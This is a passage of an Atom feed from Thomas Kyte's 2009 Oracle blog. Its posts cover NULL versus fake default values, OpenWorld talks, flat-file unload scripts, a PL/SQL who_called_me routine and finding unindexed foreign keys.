this one has to aggregate on trading date and then compute&lt;/span&gt; &lt;span style="font-style: italic;"&gt;the moving max (in the past 3 days).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;VALUE based window can have multiple keys in ORDER BY. &lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Thanks in advance for any feedback or ideas you might have on this.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-7214592348911104456?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/7214592348911104456/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=7214592348911104456' title='28 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7214592348911104456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7214592348911104456'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/11/comparative-window-functions.html' title='Comparative Window Functions...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>28</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-6909588196832277102</id><published>2009-10-22T08:11:00.004-04:00</published><updated>2009-10-22T09:04:22.312-04:00</updated><title type='text'>Use NULL for unknown data...</title><content type='html'>Hah, it goes back much further than I thought... Snopes.com pointed out this morning that the use of a 'bad default value' &lt;a href="http://www.snopes.com/autos/law/noplate.asp"&gt;dates back to at least 1979&lt;/a&gt;...&lt;br /&gt;&lt;br /&gt;See &lt;a href="http://tkyte.blogspot.com/2009/10/back-from-oracle-openworld.html"&gt;http://tkyte.blogspot.com/2009/10/back-from-oracle-openworld.html&lt;/a&gt; for the original reference.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-6909588196832277102?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/6909588196832277102/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=6909588196832277102' title='41 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6909588196832277102'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6909588196832277102'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/10/use-null-for-unknonw-data.html' title='Use NULL for unknown data...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>41</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-3470983886445129697</id><published>2009-10-21T10:07:00.002-04:00</published><updated>2009-10-21T10:16:50.749-04:00</updated><title type='text'>Back from Oracle OpenWorld</title><content type='html'>I am back and have been taking a set of new questions on asktom.  Last week was a busy one out in California and I'm finally getting caught up on emails and questions (100% on the former, still working on the latter)&lt;br /&gt;&lt;br /&gt;Anyway, I saw an article and it made me laugh - and sort of cry at the same time.  It has to do with the use of default values.  A lot of developers/DBAs have a very certain fear (that is the best word I can think of to describe their attitude) of NULL - the 'unknown' value.  So, instead of using NULL for an effective_end_date field (for records that we don't know the end date for, they don't have one) or using NULL for values they do not know the value of - they use some 'fake' value.  This fake value is assumed to be a value that could never possibly be used.&lt;br /&gt;&lt;br /&gt;But....&lt;br /&gt;&lt;br /&gt;Things change over time.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I'm sure when the developers implemented&lt;a href="http://hosted.ap.org/dynamic/stories/U/US_ODD_VANITY_PLATE_SNAFU?SITE=AP&amp;amp;SECTION=HOME&amp;amp;TEMPLATE=DEFAULT&amp;amp;CTIME=2009-10-16-21-10-55"&gt; this system&lt;/a&gt; - using XXXXXXX for a license plate value that was unknown seemed 'reasonable'.  I mean - who would ever ask for a vanity plate with seven X's on them?&lt;br /&gt;&lt;br /&gt;Talk to the guy with almost $20k in fines that aren't his to see if he might know someone that might want a vanity plate with XXXXXXX on it :)&lt;br /&gt;&lt;br /&gt;Do not fear NULL.&lt;br /&gt;&lt;br /&gt;Understand it, but don't fear it.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://tkyte.blogspot.com/2006/01/something-about-nothing.html"&gt;http://tkyte.blogspot.com/2006/01/something-about-nothing.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://tkyte.blogspot.com/2006/01/mull-about-null.html"&gt;http://tkyte.blogspot.com/2006/01/mull-about-null.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-3470983886445129697?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/3470983886445129697/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=3470983886445129697' title='31 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/3470983886445129697'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/3470983886445129697'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/10/back-from-oracle-openworld.html' title='Back from Oracle OpenWorld'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>31</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-7905367322351393213</id><published>2009-10-11T13:55:00.002-04:00</published><updated>2009-10-11T14:00:12.770-04:00</updated><title type='text'>Oracle OpenWorld first presentation</title><content type='html'>My first presentation of Oracle OpenWorld is done - it was the one I was most nervous about.  It was a keynote, the opening session for the Oracle Develop conference track.  As a keynote - I try to make it fun and informative but not a brain dump of all things technical. &lt;br /&gt;&lt;br /&gt;The room filled up - which surprised me, it was 9am on a Sunday morning...&lt;br /&gt;&lt;br /&gt;And the presentation seemed to work - I ran about 3 minutes over (need to tighten it up a tiny bit) - but it went well.  Everyone laughed when they were supposed to, and didn't when they weren't.  Even got a bit of spontaneous applause every now and then :)&lt;br /&gt;&lt;br /&gt;For those that missed it, or those not at the conference that want to see it - there will be a replay tomorrow (Monday, October 12th) at 11am pacific time - &lt;a href="http://www.oracle.com/us/openworld/034626.htm"&gt;see this link for details&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;ID#: S312577&lt;br /&gt;Title: Keynote: Oracle Develop "What Are We Still Doing Wrong"&lt;br /&gt;Track: Oracle Develop: Database&lt;br /&gt;Date: 11-OCT-09&lt;br /&gt;Time: 09:00 - 10:00&lt;br /&gt;Venue: Hilton Hotel&lt;br /&gt;Room: Grand Ballroom B&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-7905367322351393213?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/7905367322351393213/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=7905367322351393213' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7905367322351393213'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7905367322351393213'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/10/oracle-openworld-first-presentation.html' title='Oracle OpenWorld first presentation'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-7033527246173408146</id><published>2009-10-09T16:31:00.004-04:00</published><updated>2009-10-09T16:44:05.703-04:00</updated><title type='text'>Off to Oracle OpenWorld</title><content type='html'>I've been a bit busy with things recently - getting ready for Oracle OpenWorld in particular.  I haven't been able to pay as much attention to asktom as I normally do - that'll change the week after OpenWorld (I'll be taking questions again that week - until then, probably not)&lt;br /&gt;&lt;br /&gt;ID#: S312577&lt;br /&gt;Title: Keynote: Oracle Develop "What Are We Still Doing Wrong"&lt;br /&gt;Track: Oracle Develop: Database&lt;br /&gt;Date: 11-OCT-09&lt;br /&gt;Time: 09:00 - 10:00&lt;br /&gt;Venue: Hilton Hotel&lt;br /&gt;Room: Grand Ballroom B&lt;br /&gt;&lt;br /&gt;ID#: S311235&lt;br /&gt;Title: All About Metadata: Why Telling the Database About Your Schema Matters&lt;br /&gt;Track: Oracle Develop: Database&lt;br /&gt;Date: 12-OCT-09&lt;br /&gt;Time: 11:30 - 12:30&lt;br /&gt;Venue: Hilton Hotel&lt;br /&gt;Room: Imperial Ballroom B&lt;br /&gt;&lt;br /&gt;ID#: S311322&lt;br /&gt;Title: DBA 2.0: Battle of the DBAs Revisited&lt;br /&gt;Track: Database&lt;br /&gt;Date: 12-OCT-09&lt;br /&gt;Time: 17:30 - 18:30&lt;br /&gt;Venue: Moscone South&lt;br /&gt;Room: Room 103&lt;br /&gt;&lt;br /&gt;ID#: S311234&lt;br /&gt;Title: The top 10 - No, 11 - New Features of Oracle Database 11g Release 2&lt;br /&gt;Track: Database&lt;br /&gt;Date: 13-OCT-09&lt;br /&gt;Time: 17:30 - 18:30&lt;br /&gt;Venue: Moscone South&lt;br /&gt;Room: Room 103&lt;br /&gt;&lt;br /&gt;ID#: S311236&lt;br /&gt;Title: Efficient PL/SQL: Why and How to Use PL/SQL to Its Greatest Effect&lt;br /&gt;Track: Database&lt;br /&gt;Date: 14-OCT-09&lt;br /&gt;Time: 17:00 - 18:00&lt;br /&gt;Venue: Moscone South&lt;br /&gt;Room: Room 103&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I'll be in the OTN lounge on Wednesday from 12:45pm till 1:30pm with hte "&lt;a href="http://www.oracle.com/technology/events/oracle-openworld/index.html"&gt;Heavy Hitters&lt;/a&gt;" program.  Anyone is free to attend that session.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Also, I'll be in the database demo grounds in Moscone West - in the middle of the demo area.  It'll say "database overview" in big letters on top and "Oracle Database 11g Release 2" underneath.  I'll be manning a station there on Tuesday from 10:30am till 11:30 am and on Wednesday from 9am till 10:15am&lt;br /&gt;&lt;br /&gt;Looking forward to OpenWorld - both the beginning and the end :) It'll be nice to get back home after a week at a conference.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-7033527246173408146?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/7033527246173408146/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=7033527246173408146' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7033527246173408146'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7033527246173408146'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/10/off-to-oracle-openworld.html' title='Off to Oracle OpenWorld'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-5334940188122083369</id><published>2009-10-08T14:56:00.005-04:00</published><updated>2009-10-08T15:05:47.652-04:00</updated><title type='text'>http://asktom.oracle.com/tkyte/flat</title><content type='html'>&lt;span style="font-weight: bold;font-size:130%;" &gt;How Can I unload data to a flat file&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Many times we are asked&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;  "Does anyone know an easy way of dumping the data from an Oracle table into a delimited(comma, tab etc) ascii file?"&lt;/li&gt;&lt;li&gt; "Does anyone know an easy way to unload data in a format for sqlldr to reload later?"&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Well &lt;a href="http://asktom.oracle.com/pls/asktom/f?p=100:11:0::::P11_QUESTION_ID:728625409049"&gt;here is a way to do it&lt;/a&gt; into Excel or any spreadsheet that understands the industry standard SYLK file format.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://asktom.oracle.com/pls/asktom/f?p=100:11:0::::P11_QUESTION_ID:459020243348"&gt;Here is a pro*c program &lt;/a&gt;that does it to a flat file very fast.&lt;br /&gt;&lt;br /&gt;and &lt;a href="http://asktom.oracle.com/pls/asktom/f?p=100:11:0::::P11_QUESTION_ID:68212348056"&gt;here is a PLSQL routine&lt;/a&gt; that uses utl_file to do the same&lt;br /&gt;&lt;br /&gt;A reader (Andy Rivenes) offers &lt;a href="http://asktom.oracle.com/pls/asktom/z?p_url=ASKTOM%2Edownload_file%3Fp_file%3D6551135514501758779&amp;amp;p_cat=unloader15a.sql&amp;amp;p_company=822925097021874"&gt;this more "robust" plsql implementation &lt;/a&gt;based on the original code.&lt;br /&gt;&lt;br /&gt;And lastly, SQLPlus can do this quite easily but it is a pain to have to write a script/table.  What I've done is setup scripts for UNIX and NT that allow you from the command line to execute things like:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ sqlldr_exp scott/tiger dept&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;LOAD DATA&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;INFILE *&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;INTO TABLE dept&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REPLACE&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;FIELDS TERMINATED BY '|'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;(&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;deptno&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;,dname&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;,loc&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;BEGINDATA&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;10|ACCOUNTING|NEW YORK&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;20|RESEARCH|DALLAS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;30|SALES|RESTON&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;40|OPERATIONS|BOSTON&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As you can see, this script unloaded the scott.dept table into a format that sqlldr can easily reload.  All you would need to do is execute:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ sqlldr_exp scott/tiger dept &gt; dept.ctl&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;to create a control file that can be moved somewhere else and reloaded back into a dept table very quickly.&lt;br /&gt;&lt;br /&gt;I also use a slight modification of this script called "flat".  Flat does the same thing as sqlldr_exp does mostly except that it dumps the data into a tab delimited format without the sqlldr extras at the top.  This makes the extract usable in spreadsheets and such.&lt;br /&gt;&lt;br /&gt;In both cases some things you need to be aware of are with regards to this script:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;There is an absolute limit of 2000 bytes in 7.x and 4000 bytes in 8.x per line/row for unloaded data.  The total size of the unloaded data is unlimited -- the maximum size of an individual row of data is what is limited.&lt;/li&gt;&lt;li&gt; It makes no attempt to unload dates with the century or time component -- you must change your default NLS_DATE_FORMAT if this is a problem.&lt;/li&gt;&lt;li&gt; Beware of data with pipes or tabs in it!&lt;/li&gt;&lt;li&gt; Beware of data with newlines as well...&lt;/li&gt;&lt;li&gt; The NT scripts (.cmd files) need modifications if your command line sqlplus is not called SQLPLUS (eg: its plus33 or something similar)&lt;/li&gt;&lt;li&gt; On NT, you need to set your SQLPATH environment variable and put these files into that directory OR you need to run flat and sqlldr_exp from those directories so sqlplus can find the corresponding flat.sql and sqlldr_exp.sql files.&lt;/li&gt;&lt;/ul&gt;&lt;a href="http://asktom.oracle.com/pls/asktom/z?p_url=ASKTOM%2Edownload_file%3Fp_file%3D6551094606143727955&amp;amp;p_cat=unloader.zip&amp;amp;p_company=822925097021874"&gt;download that script here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-5334940188122083369?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/5334940188122083369/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=5334940188122083369' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5334940188122083369'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5334940188122083369'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/10/httpasktomoraclecomtkyteflat.html' title='http://asktom.oracle.com/tkyte/flat'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-4782526764873262027</id><published>2009-10-08T14:52:00.002-04:00</published><updated>2009-10-08T14:55:13.199-04:00</updated><title type='text'>http://asktom.oracle.com/tkyte/who_called_me</title><content type='html'>&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;How Can I find out who called me or what my name is&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Many times we are asked "in a procedure/function, can I find out who called me" or "can I dynamically figure out the name of the procedure or package that is currently executing".&lt;br /&gt;&lt;br /&gt;You can find it in the call stack returned by dbms_utility.format_call_stack. I wrote a small routine called who_called_me that returns this sort of information (it doesn't tell you who you are, it lets you know who called you). If you wrap who_called_me with a function who_am_i, you'll get what you need. If you create the who_called_me/who_am_i routines, you'll be able to:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;SQL&gt; create or replace procedure demo&lt;br /&gt;2  as&lt;br /&gt;3  begin&lt;br /&gt;4     dbms_output.put_line( who_am_i );&lt;br /&gt;5  end;&lt;br /&gt;6  /&lt;br /&gt;&lt;br /&gt;Procedure created.&lt;br /&gt;&lt;br /&gt;SQL&gt; exec demo;&lt;br /&gt;TKYTE.DEMO&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;In current releases of the database, this code has been incorporated into the OWA_UTIL package - you probably already have it in your database.  If not, you can use this really old version that might need a tweak or two to work in your database release:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;create or replace procedure who_called_me( owner      out varchar2,&lt;br /&gt;                        name       out varchar2,&lt;br /&gt;                        lineno     out number,&lt;br /&gt;                        caller_t   out varchar2 )&lt;br /&gt;as&lt;br /&gt;   call_stack  varchar2(4096) default dbms_utility.format_call_stack;&lt;br /&gt;   n           number;&lt;br /&gt;   found_stack BOOLEAN default FALSE;&lt;br /&gt;   line        varchar2(255);&lt;br /&gt;   cnt         number := 0;&lt;br /&gt;begin&lt;br /&gt;--&lt;br /&gt;   loop&lt;br /&gt;       n := instr( call_stack, chr(10) );&lt;br /&gt;       exit when ( cnt = 3 or n is NULL or n = 0 );&lt;br /&gt;--&lt;br /&gt;       line := substr( call_stack, 1, n-1 );&lt;br /&gt;       call_stack := substr( call_stack, n+1 );&lt;br /&gt;--&lt;br /&gt;       if ( NOT found_stack ) then&lt;br /&gt;           if ( line like '%handle%number%name%' ) then&lt;br /&gt;               found_stack := TRUE;&lt;br /&gt;           end if;&lt;br /&gt;       else&lt;br /&gt;           cnt := cnt + 1;&lt;br /&gt;           -- cnt = 1 is ME&lt;br /&gt;           -- cnt = 2 is MY Caller&lt;br /&gt;           -- cnt = 3 is Their Caller&lt;br /&gt;           if ( cnt = 3 ) then&lt;br /&gt;               lineno := to_number(substr( line, 13, 6 ));&lt;br /&gt;               line   := substr( line, 21 );&lt;br /&gt;               if ( line like 'pr%' ) then&lt;br /&gt;                   n := length( 'procedure ' );&lt;br /&gt;               elsif ( line like 'fun%' ) then&lt;br /&gt;                   n := length( 'function ' );&lt;br /&gt;               elsif ( line like 'package body%' ) then&lt;br /&gt;                   n := length( 'package body ' );&lt;br /&gt;               elsif ( line like 'pack%' ) then&lt;br /&gt;                   n := length( 'package ' );&lt;br /&gt;               elsif ( line like 'anonymous%' ) then&lt;br /&gt;                   n := length( 'anonymous block ' );&lt;br /&gt;               else&lt;br /&gt;                   n := null;&lt;br /&gt;               end if;&lt;br /&gt;               if ( n is not null ) then&lt;br /&gt;                  caller_t := ltrim(rtrim(upper(substr( line, 1, n-1 ))));&lt;br /&gt;               else&lt;br /&gt;                  caller_t := 'TRIGGER';&lt;br /&gt;               end if;&lt;br /&gt;&lt;br /&gt;               line := substr( line, nvl(n,1) );&lt;br /&gt;               n := instr( line, '.' );&lt;br /&gt;               owner := ltrim(rtrim(substr( line, 1, n-1 )));&lt;br /&gt;               name  := ltrim(rtrim(substr( line, n+1 )));&lt;br /&gt;           end if;&lt;br /&gt;       end if;&lt;br /&gt;   end loop;&lt;br /&gt;end;&lt;br /&gt;/&lt;br /&gt;&lt;br /&gt;create or replace function who_am_i return varchar2&lt;br /&gt;is&lt;br /&gt;   l_owner        varchar2(30);&lt;br /&gt;   l_name      varchar2(30);&lt;br /&gt;   l_lineno    number;&lt;br /&gt;   l_type      varchar2(30);&lt;br /&gt;begin&lt;br /&gt;  who_called_me( l_owner, l_name, l_lineno, l_type );&lt;br /&gt;  return l_owner || '.' || l_name;&lt;br /&gt;end;&lt;br /&gt;/&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-4782526764873262027?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/4782526764873262027/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=4782526764873262027' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/4782526764873262027'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/4782526764873262027'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/10/httpasktomoraclecomtkytewhocalledme.html' title='http://asktom.oracle.com/tkyte/who_called_me'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-9141910815848763933</id><published>2009-10-08T14:48:00.002-04:00</published><updated>2011-08-03T09:43:57.489-04:00</updated><title type='text'>http://asktom.oracle.com/tkyte/unindex</title><content type='html'>Unindexed Foreign Keys&lt;br /&gt;&lt;br /&gt;Having Unindexed foreign keys can be a performance issue. There are two issues associated with unindexed foreign keys. The first is the fact that a table lock will result if you update the parent records primary key (very very unusual) or if you delete the parent record and the child's foreign key is not indexed.&lt;br /&gt;&lt;br /&gt;To read about this issue, please see the &lt;a href="http://download.oracle.com/docs/cd/E11882_01/server.112/e16508/datainte.htm#CNCPT1657"&gt;Concepts Guide the section on Maintaining Data Integrity/Concurrency Control, Indexes, and Foreign Keys&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The second issue has to do with performance in general of a parent child relationship. Consider that if you have an on delete cascade and have not indexed the child table (eg: EMP is child of DEPT. Delete deptno = 10 should cascade to EMP. If deptno in emp is not indexed -- full table scan). This full scan is probably undesirable and if you delete many rows from the parent table, the child table will be scanned once for each parent row deleted.&lt;br /&gt;&lt;br /&gt;Also consider that for most (not all, most) parent child relationships, we query the objects from the 'master' table to the 'detail' table. The glaring exception to this is a code table (short code to long description). For master/detail relationships, if you do not index the foreign key, a full scan of the child table will result.&lt;br /&gt;&lt;br /&gt;So, how do you easily discover if you have unindexed foreign keys in your schema? &lt;a href="http://asktom.oracle.com/pls/asktom/f?p=100:11:0::::P11_QUESTION_ID:4530093713805#26568859366976"&gt;This script can help&lt;/a&gt;. When you run it, it will generate a report such as:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;SQL&amp;gt; @unindex&lt;br /&gt;&lt;br /&gt;STAT TABLE_NAME                     COLUMNS              COLUMNS&lt;br /&gt;---- ------------------------------ -------------------- --------------------&lt;br /&gt;**** APPLICATION_INSTANCES          AI_APP_CODE&lt;br /&gt;ok   EMP                            DEPTNO               DEPTNO&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The **** in the first row shows me that I have an unindexed foreign key in the table APPLICATION_INSTANCES. The ok in the second row shows me I have a table EMP with an indexed foreign key.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-9141910815848763933?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/9141910815848763933/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=9141910815848763933' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/9141910815848763933'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/9141910815848763933'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/10/httpasktomoraclecomtkyteunindex.html' title='http://asktom.oracle.com/tkyte/unindex'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 